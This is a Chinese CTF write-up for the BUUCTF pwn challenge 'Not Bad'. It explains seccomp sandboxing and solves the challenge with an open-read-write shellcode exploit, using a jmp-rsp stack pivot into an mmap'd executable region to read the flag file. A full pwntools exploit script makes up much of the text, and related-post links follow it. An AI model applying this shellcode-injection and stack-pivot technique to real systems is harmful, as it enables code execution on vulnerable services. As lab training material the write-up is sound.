[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad
又是一道收获满满的题目.
peak小知识
- seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
- seccomp-tools: 沙盒工具, 可以查看那些系统调用可以被使用, 安装在我的环境搭建专栏里面有, 也可以点我点我
保护基本木有开启, 只是开启了地址随机化
在IDA中看看
利用mmap创建了从0x123000开始长度为0x1000的可执行区域.
不清楚的可以看下之前的peak小知识, 或者百度.
发现一些系统调用被禁用
利用沙盒查看下, 发现read、write、open、exit系统调用可以使用.
一个典型的ORW问题
继续看IDA
其实可以在栈上进行编写shellcode的,但是发现大小不够
所以可以转跳至mmap的区域, 我们可以利用栈劫持, 将程序劫持到我们的栈上, 使其按照我们想要的方式运行
下面是exploit
exploit
from pwn import *p=remote('node3.buuoj.cn',26573)
p = process('./bad')
context.binary=ELF('./bad')
#gdb.attach(p, 'b puts')
mmap=0x123000
jmp_rsp=0x400A01# 劫持到栈上并执行buf的代码
payload1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
p.sendafter('have fun!',payload1)#其实这个基本都是这样可以记着
payload2=shellcraft.open('./flag')
payload2+=shellcraft.read(3,mmap+0x100,0x50)
payload2+=shellcraft.write(1,mmap+0x100,0x50)p.send(asm(payload2))
p.interactive()
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)相关推荐
- BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...
- BUUCTF WEB [极客大挑战 2019]LoveSQL
BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...
- BUUCTF Web [极客大挑战 2019]Havefun
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- 【BUUCTF】[极客大挑战 2019]RCE ME
源码 <?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40) ...
- BUUCTF Web [极客大挑战 2019]EasySQL
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- 【BUUCTF】[极客大挑战 2019]Havefun 1
主要考察对源代码的理解 1.进入网站 2.发现网页并没有什么有用的提示,观察源代码发现可能有用的判别语句 3.尝试输入?cat=dog
- BUUCTF:[极客大挑战 2019]RCE ME
这题和我这篇文章内容相关:关于PHP正则的一些绕过方法 绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编 ...
- BUUCTF [极客大挑战 2019] PHP
BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...
- BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...
最新文章
- 94.二叉树的中序遍历
- POJ 3580 SuperMemo
- Spark UDF变长参数的二三事儿
- 吉林省计算机二级考试题型,吉林省 | 2018年上半年全国计算机二级考试报考简章...
- 字符集_第07期:有关 MySQL 字符集的 SQL 语句
- 计算机开机引导的结果是,电脑开机显示引导媒体是怎么回事
- 硬盘、服务器、RAID磁盘阵列
- ACM弱校ACMer A HDU1045Fire Net有感
- 使用Python实现生产者消费者问题
- Rust : 加密中数论基础知识、RSA加密算法及证明(待续)
- python爬虫ip限制_爬虫访问中如何解决网站限制IP的问题?
- Android kotlin let函数学习
- java am pm_【am.pm正确时间书写格式】作文写作问答 - 归教作文网
- python如何编写爬虫程序_python编写网络爬虫程序
- Python爬虫 Selenium实现自动登录163邮箱和Locating Elements介绍
- 解决(CRON) info (No MTA installed, discarding output)
- 医学图象存储、检索和显示的新技术及新动向
- 三维空间的三角剖分( 3D Delaunay Triangulated graph)第二部分:剖分三维空间
- JavaWEB快速入门之验证码及课堂项目【04】
- AsyncHttpClient源码分析-基于Netty的连接池实现
热门文章
- C# Winform验证码
- FMS3 服务器集群虚拟服务器配置入门
- 怎样用java写一个简单的文件复制程序
- 软件测试作业5:计算下列代码片段的 Halstead 复杂度的11项内容
- 【数据结构与算法】之深入解析“实现strStr()”的求解思路与算法示例
- 学校(School)主要有3大角色:学校(School),讲师(Teacher),学员(Student)。请用Python语言简要实现这些类及及其属性,以及它们之间的关系。
- 2019第十届蓝桥杯C/C++ A组省赛 —— 第二题: 数列求值
- 征战蓝桥 —— 2017年第八届 —— C/C++A组第5题——字母组串
- 【机器视觉】 dev_inspect_ctrl算子
- 【Qt5.8】Qt5.8中QTableWidget 类介绍